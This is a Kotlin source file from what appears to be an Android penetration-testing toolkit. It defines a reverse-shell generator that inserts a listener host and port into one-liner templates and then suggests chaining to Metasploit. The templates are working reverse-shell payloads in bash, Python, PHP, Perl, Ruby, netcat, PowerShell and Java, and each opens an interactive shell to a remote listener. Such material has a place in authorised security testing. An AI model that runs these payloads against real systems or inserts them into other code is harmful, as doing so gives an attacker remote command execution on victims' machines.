package com.optix.android.tools.utility

import com.optix.android.domain.model.OsintResult
import com.optix.android.domain.model.ParamType
import com.optix.android.domain.model.ToolCategory
import com.optix.android.domain.model.ToolEvent
import com.optix.android.domain.model.ToolMetadata
import com.optix.android.domain.model.ToolParam
import com.optix.android.tools.registry.BaseTool

class ReverseShellGenTool : BaseTool() {

    override val metadata = ToolMetadata(
        name = "reverse_shell_gen",
        displayName = "Reverse Shell Gen",
        description = "Generate reverse shell one-liners for various languages",
        category = ToolCategory.PAYLOADS_UTILITIES,
        requiresNetwork = false,
        parameters = listOf(
            ToolParam("lhost", ParamType.STRING, "Listener IP address"),
            ToolParam("lport", ParamType.INT, "Listener port", required = false, defaultValue = "4444"),
            ToolParam("shell_type", ParamType.ENUM, "Shell type", defaultValue = "bash",
                enumValues = listOf("bash", "python", "python3", "php", "perl", "ruby", "nc", "powershell", "java")),
        ),
    )

    override suspend fun execute(params: Map<String, Any>, emit: suspend (ToolEvent) -> Unit) {
        val lhost = paramRequired(params, "lhost")
        val lport = paramInt(params, "lport", 4444)
        val shellType = param(params, "shell_type") ?: "bash"

        emit(ToolEvent.Log("Reverse shell ($shellType): $lhost:$lport"))

        val template = SHELLS[shellType] ?: "Unknown shell type"
        val shell = template.replace("{lhost}", lhost).replace("{lport}", lport.toString())

        emit(ToolEvent.Result(OsintResult(shellType, shell, "ReverseShellGen")))
        emit(ToolEvent.Log("  $shell"))
        emit(ToolEvent.ChainSuggestion("metasploit_termux", mapOf("lhost" to lhost, "lport" to lport.toString())))
        emit(ToolEvent.Done)
    }

    companion object {
        val SHELLS = mapOf(
            "bash"       to "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
            "python"     to "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
            "python3"    to "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
            "php"        to "php -r '\$sock=fsockopen(\"{lhost}\",{lport});\$proc=proc_open(\"/bin/sh\",array(0=>\$sock,1=>\$sock,2=>\$sock),\$pipes);'",
            "perl"       to "perl -e 'use Socket;\$i=\"{lhost}\";\$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(\$p,inet_aton(\$i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'",
            "ruby"       to "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"{lhost}\",\"{lport}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'",
            "nc"         to "nc -e /bin/sh {lhost} {lport}",
            "powershell" to "\$client = New-Object System.Net.Sockets.TCPClient(\"{lhost}\",{lport});\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + \"PS \" + (pwd).Path + \"> \";\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()",
            "java"       to "Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/{lhost}/{lport};cat <&5 | while read line; do \$line 2>&5 >&5; done\"});",
        )
    }
}
